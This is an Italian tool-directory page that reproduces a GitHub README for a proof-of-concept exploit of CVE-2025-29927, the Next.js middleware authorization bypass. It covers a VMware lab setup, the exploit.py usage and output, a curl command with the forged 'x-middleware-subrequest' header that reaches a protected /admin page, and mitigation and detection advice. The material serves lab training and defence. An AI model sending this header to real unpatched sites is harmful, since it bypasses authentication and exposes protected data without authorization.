Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-29927-PoC — Proof-of-concept exploit per CVE-2025-29927, un bypass dell'autorizzazione middleware di Next.js. Include un laboratorio target vulnerabile e uno script Python per verificare il bypass inviando header x-middleware-subrequest appositamente costruiti. | Kitploit
Strumenti/GitHubGitHub/ritinify/cve-2025-29927-poc
ExploitSfruttamento di Applicazioni WebCTFPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubritinify/cve-2025-29927-poc

CVE-2025-29927-PoC

Proof-of-concept exploit per CVE-2025-29927, un bypass dell'autorizzazione middleware di Next.js. Include un laboratorio target vulnerabile e uno script Python per verificare il bypass inviando header x-middleware-subrequest appositamente costruiti.

Vedi Repository
9h 4m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-29927 — Bypass dell'autorizzazione del middleware Next.js — PoC di verifica

Un piccolo progetto GitHub per verificare CVE-2025-29927 (Bypass dell'autorizzazione del middleware Next.js) in un laboratorio di autorizzazione locale (VMware: macchina target Ubuntu + macchina attaccante Kali).

⚠️ Disclaimer: questo progetto è destinato esclusivamente a scopi educativi, CTF e ambienti di laboratorio di tua proprietà/espressamente autorizzati. È severamente vietato l'uso su sistemi non autorizzati. L'utente è l'unico responsabile delle conseguenze derivanti da un uso improprio di questo progetto.


📋 Indice

  • 1. Scheda della vulnerabilità
  • 2. Principio della vulnerabilità (capito in 30 secondi)
  • 3. Struttura del repository
  • 4. Topologia del laboratorio (due macchine virtuali VMware)
  • 5. Configurazione del target (Ubuntu 24.04)
  • 6. Preparazione della macchina attaccante (Kali)
  • 7. Verifica locale (fase principale)
  • 8. Parametri del PoC
  • 9. Auto-test rapido senza target (opzionale)
  • 10. Mitigazione e rilevamento
  • 11. FAQ (Domande frequenti)
  • 12. Riferimenti

  • 1. Scheda della vulnerabilità

    ElementoContenuto
    CVECVE-2025-29927
    Data di divulgazione2025-03-25 (bollettino di sicurezza ufficiale Next.js)
    Componente interessatoVercel Next.js (framework full-stack Node.js)
    Tipo di vulnerabilitàBypass dell'autorizzazione / Autorizzazione impropria (CWE-863)
    Versioni interessate< 12.3.5、< 13.5.9、< 14.2.25、< 15.2.3
    Versioni corrette12.3.5 / 13.5.9 / 14.2.25 / 15.2.3 e successive
    Livello di gravitàCritical / Alto (il punteggio specifico fa riferimento alla pagina NVD)

    Dopo la divulgazione della vulnerabilità, numerosi pannelli di amministrazione, callback di pagamento e API interne in ambienti di produzione sono stati bypassati. Sia Metasploit che ProjectDiscovery Nuclei hanno incluso moduli di rilevamento; si tratta di una delle vulnerabilità di "bypass dell'autorizzazione a livello di framework" più rappresentative del 2025.


    2. Principio della vulnerabilità (capito in 30 secondi)

    Next.js consente di scrivere la "logica di autenticazione" nel middleware, ad esempio:

    root@kitploit:~
    export function middleware(request) {
      if (!isLogin(request)) return NextResponse.redirect("/login"); // Non autenticato → blocca
      return NextResponse.next();
    }
    

    Il problema è che Next.js internamente si affida a un'intestazione di richiesta falsificabile dal client per determinare se "questa richiesta ha già eseguito il middleware":

    root@kitploit:~
    x-middleware-subrequest: middleware
    

    Nelle versioni interessate, se una richiesta esterna trasporta questa intestazione interna, Next.js presume erroneamente che il middleware sia già stato eseguito, quindi l'intero middleware di autenticazione viene saltato. L'attaccante non ha bisogno di alcun account: basta inviare questa intestazione per accedere direttamente con stato 200 a rotte protette come /admin — poiché la pagina stessa di solito si fida del middleware e non esegue una seconda verifica, il controllo di autorizzazione viene meno (errore di confine di fiducia).

    💡 Il valore più comune nell'exploit pubblico è la forma con il percorso del middleware ripetuto e concatenato, ad esempio middleware:middleware:middleware:middleware:middleware; un singolo middleware non funziona in alcune versioni/strutture di directory (verificato in questo laboratorio con la 14.2.24). Questo PoC esegue il polling di diversi valori candidati; se uno qualsiasi corrisponde, il bypass ha successo.


    3. Struttura del repository

    root@kitploit:~
    CVE-2025-29927-PoC/
    ├── README.md                 # Questo documento (descrizione vulnerabilità + tutorial laboratorio VMware)
    ├── LICENSE                   # MIT
    ├── .gitignore
    ├── exploit.py                # ★ PoC di verifica Python3 solo libreria standard (eseguibile su Kali/qualsiasi macchina)
    ├── target/                   # ★ Laboratorio vulnerabile autocostruito (da copiare sulla macchina target Ubuntu)
    │   ├── package.json          #   Blocca [email protected] (versione vulnerabile)
    │   ├── middleware.js         #   Simula il "middleware di autenticazione" di una produzione reale
    │   ├── pages/
    │   │   ├── index.js          #   Home page
    │   │   ├── login.js          #   Pagina di login (dimostra il reindirizzamento qui)
    │   │   └── admin.js          #   ★ Pannello di amministrazione protetto, legge flag.txt lato server
    │   ├── flag.txt              #   Flag del laboratorio: FLAG{...}
    │   ├── setup.sh              #   Installazione一键 Node 20 + npm install + build sulla macchina target
    │   └── start.sh              #   Ascolto in modalità produzione su 0.0.0.0:3000
    └── tests/
        └── mock_target.py        #   Target simulato senza Node (solo per auto-test di sviluppo)
    

    4. Topologia del laboratorio (due macchine virtuali VMware)

    root@kitploit:~
    ┌───────────────────────────────────────────────────────────┐
    │ VMware Workstation Pro 17 (host: Windows)                 │
    │ Rete: NAT (VMnet8 predefinita), due VM stessa sottorete, ping reciproco │
    │                                                           │
    │   ┌──────────────────┐        ┌─────────────────────┐     │
    │   │ Target Ubuntu 24.04 │        │ Attaccante Kali Linux │     │
    │   │                  │  http   │                     │     │
    │   │  Node 20 + Next  │◄───────│  python3 exploit.py  │     │
    │   │  14.2.24 :3000   │  GET    │                     │     │
    │   └──────────────────┘        └─────────────────────┘     │
    │   IP: <TARGET_IP>              IP: <ATTACKER_IP>          │
    └───────────────────────────────────────────────────────────┘
    

    4.1 Cosa scaricare

    ScopoImmagine/SoftwareVersione consigliata
    Software VMVMware Workstation Pro 17 (gratuito per uso personale)17.x
    Immagine targetISO Ubuntu Server LTS24.04.x
    Macchina attaccanteKali Linux (immagine VMware ufficiale preimpostata o installazione ISO)2025.x
    (Opzionale)Host con almeno 8 GB di RAM e 50 GB di disco—

    4.2 Configurazione VM generale

    1. Assegnare a entrambe le VM 2 vCPU / 4 GB RAM / 40 GB disco;
    2. Selezionare NAT per entrambe le schede di rete (per garantire la comunicazione sulla stessa sottorete); per il solo apprendimento non è necessario il bridge;
    3. Durante l'installazione di Ubuntu, selezionare OpenSSH server (comodo per copiare file via SSH dall'host);
    4. Dopo l'installazione del sistema e la conferma della connettività, creare uno snapshot pulito per poter riaprire facilmente il laboratorio.

    5. Configurazione del target (Ubuntu 24.04)

    Tutti i passaggi seguenti vengono eseguiti sulla macchina target Ubuntu.

    5.1 Trasferire il codice del progetto sulla macchina target (scegliere una delle due opzioni)

    root@kitploit:~
    # Metodo A: push del progetto sul proprio GitHub e poi clone (consigliato, usalo se poi farai push su GitHub)
    git clone https://github.com/<il-tuo-username>/CVE-2025-29927-PoC.git
    cd CVE-2025-29927-PoC
    
    # Metodo B: copia dall'host con scp
    # scp -r CVE-2025-29927-PoC  ubuntu@<TARGET_IP>:~/
    

    5.2 Installazione一键 delle dipendenze e build dell'applicazione vulnerabile

    root@kitploit:~
    cd CVE-2025-29927-PoC/target
    sudo bash setup.sh        # Installa Node 20(LTS) + npm install + next build
    

    Cosa fa setup.sh internamente: aggiorna apt → installa strumenti curl/CA/build → installa Node.js 20 LTS tramite NodeSource → npm install (scarica dipendenze come [email protected]) → npm run build.

    5.3 Avvio dell'applicazione vulnerabile (modalità produzione, porta 3000)

    root@kitploit:~
    bash start.sh
    # Se vedi "▲ Next.js 14.2.24" e "Local: http://0.0.0.0:3000" l'avvio è riuscito
    

    Aprire un altro terminale per un test di fumo locale:

    root@kitploit:~
    curl -s http://127.0.0.1:3000            # Home page, 200
    curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:3000/admin
    # Output atteso 307 —— senza cookie viene bloccato dal middleware (autenticazione funzionante)
    curl -s http://127.0.0.1:3000/admin      # Osserva il body: dovrebbe essere il contenuto della pagina di login dopo il reindirizzamento
    

    Il firewall della macchina target non blocca il traffico in ingresso per impostazione predefinita; se hai attivato ufw: sudo ufw allow 3000/tcp.


    6. Preparazione della macchina attaccante (Kali)

    root@kitploit:~
    sudo apt update
    python3 --version          # Kali include Python3, nessuna dipendenza aggiuntiva (il PoC usa solo la libreria standard)
    ip -4 addr show            # Annota l'IP di Kali (es. 192.168.x.xxx)
    

    Trasferisci exploit.py su Kali (clona una copia dello stesso repository oppure copia il singolo file con scp), poi verifica prima che le due VM comunicano:

    root@kitploit:~
    ping <TARGET_IP>           # Ping ok ↓
    curl -s -o /dev/null -w "%{http_code}\n" http://<TARGET_IP>:3000   # Dovrebbe restituire 200
    

    7. Verifica locale (fase principale)

    Sulla macchina attaccante Kali, esegui:

    root@kitploit:~
    python3 exploit.py -u http://<TARGET_IP>:3000
    

    Output atteso

    root@kitploit:~
    [1/3] Rilevamento baseline   GET /admin (senza intestazioni speciali)
          └─ Codice di stato 307 —— bloccato correttamente dal middleware ✓ (ambiente vulnerabile pronto)
    
    [2/3] Tentativo di bypass   x-middleware-subrequest: <polling valori candidati>
          └─ Valore intestazione='middleware:middleware:middleware:middleware:middleware' codice di stato 200 —— bypass riuscito! Middleware saltato ✓
    
    [3/3] Estrazione del risultato
          └─ La pagina di amministrazione ha letto flag.txt lato server:
             FLAG{cve-2025-29927-lab-ok}
    
    [+] Conclusione: VULNERABLE —— bypass dell'autorizzazione CVE-2025-29927 verificato
    

    Interpretazione chiave: stesso URL, senza intestazione speciale viene bloccato con 307, con x-middleware-subrequest si accede direttamente al pannello con 200 — un ciclo completo di verifica del "bypass del middleware di autenticazione".

    Riproduzione con curl (comodo per catturare screenshot)

    root@kitploit:~
    # ① Baseline: dovrebbe restituire 307 (reindirizzamento a /login)
    curl -i http://<TARGET_IP>:3000/admin | head -n 10
    
    # ② Exploit: dovrebbe restituire 200 e contenere FLAG{...}
    curl -i -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
         http://<TARGET_IP>:3000/admin | head -n 30
    

    📌 Nota pratica: in questo laboratorio (Next 14.2.24 + middleware.js nella directory root), il valore con 5 ripetizioni middleware:middleware:middleware:middleware:middleware funziona, mentre un singolo middleware non funziona. Per i test manuali con curl usa direttamente il valore con 5 ripetizioni; in caso di dubbi esegui exploit.py (che esegue automaticamente il polling dei valori candidati).


    8. Parametri del PoC

    root@kitploit:~
    usage: exploit.py [-h] -u URL [--path PATH] [--timeout SECONDS]
                      [--delay SECONDS] [--insecure] [--verbose]
    
      -u, --url URL        Indirizzo del target, es. http://192.168.162.10:3000
      --path PATH          Percorso protetto, predefinito /admin
      --timeout SECONDS    Timeout per singola richiesta, predefinito 10
      --delay SECONDS      Intervallo tra i polling dei valori candidati dell'intestazione, predefinito 0
      --insecure           Salta la verifica del certificato HTTPS
      --verbose            Stampa lo stato della risposta per ogni intestazione candidata, utile per il debug
    
    Codice di uscita: 0 = vulnerabilità verificata; 1 = target non vulnerabile/tutte le richieste fallite; 2 = errore parametri o ambiente
    

    9. Auto-test rapido senza target (opzionale)

    Se non hai VMware o non vuoi installare subito Node, puoi usare il target simulato incluso nel repository per testare prima la logica del PoC (basta Python3 sull'host; simula il comportamento "blocco 307 / 200 con intestazione speciale"):

    root@kitploit:~
    # Terminale 1: avvia il target simulato (in ascolto su 127.0.0.1:8123)
    python3 tests/mock_target.py
    
    # Terminale 2: verifica
    python3 exploit.py -u http://127.0.0.1:8123
    # Output atteso: VULNERABLE e FLAG{mock-bypass-ok}
    

    Nota: il simulatore serve solo per testare la logica dello script; per la verifica formale usa assolutamente il laboratorio reale descritto nelle sezioni 5 e 6.


    10. Mitigazione e rilevamento

    Mitigazione

    1. Aggiorna Next.js: npm i [email protected] (o 15.2.3+ / versioni nuove corrispondenti), quindi rebuild e deploy;
    2. Consiglio architetturale: non fare dell'autorizzazione una difesa basata solo sul middleware — per le rotte critiche esegui una seconda verifica dell'identità in getServerSideProps / Route Handler / API backend;
    3. Scarta tutte le intestazioni x-middleware-subrequest in ingresso a livello di reverse proxy/CDN/WAF.

    Rilevamento (verifica dell'esistente prima dell'aggiornamento)

    root@kitploit:~
    # Template ufficiale Nuclei
    nuclei -u http://<TARGET_IP>:3000 -t http/cves/2025/CVE-2025-29927.yaml
    

    Dopo l'aggiornamento, esegui di nuovo questo PoC: dovrebbe restituire "target non vulnerabile" — questo è il metodo di verifica prima/dopo la mitigazione.


    11. FAQ (Domande frequenti)

    SintomoCausa / Soluzione
    next start segnala porta occupatalsof -i :3000 per trovare il processo che la occupa, oppure usa -p 3001
    curl http://<TARGET_IP>:3000 non funzionaLe due VM non sono sulla stessa sottorete NAT; controlla che gli adattatori di rete VMware siano entrambi NAT, verifica la sottorete con ip a
    L'accesso a /admin in baseline è già 200Il middleware non è attivo: verifica che middleware.js sia nella directory root di target/ e che setup.sh abbia completato la build
    Dopo il tentativo di bypass è ancora 307I valori efficaci variano in base a versione/struttura directory: esegui prima python3 exploit.py --verbose per vedere i risultati del polling; per i test manuali con curl usa il valore con 5 ripetizioni middleware:middleware:middleware:middleware:middleware
    Kali non riesce a fare ping di UbuntuCon NAT VMware la comunicazione è predefinita; se ancora non funziona, controlla i firewall di entrambe le macchine e ripristina lo snapshot
    Vuoi verificare con un'altra versione di NextModifica la versione di next in target/package.json e riesegui npm install && npm run build

    12. Riferimenti

    • Voce NVD: CVE-2025-29927
    • Bollettino di sicurezza ufficiale Next.js (2025-03-25)
    • PR modulo di rilevamento Metasploit (rapid7/metasploit-framework)
    • Template ufficiale Nuclei: CVE-2025-29927.yaml
    • Progetto di riproduzione di riferimento: lirantal/vulnerable-nextjs-14-CVE-2025-29927
    Scarica lo strumento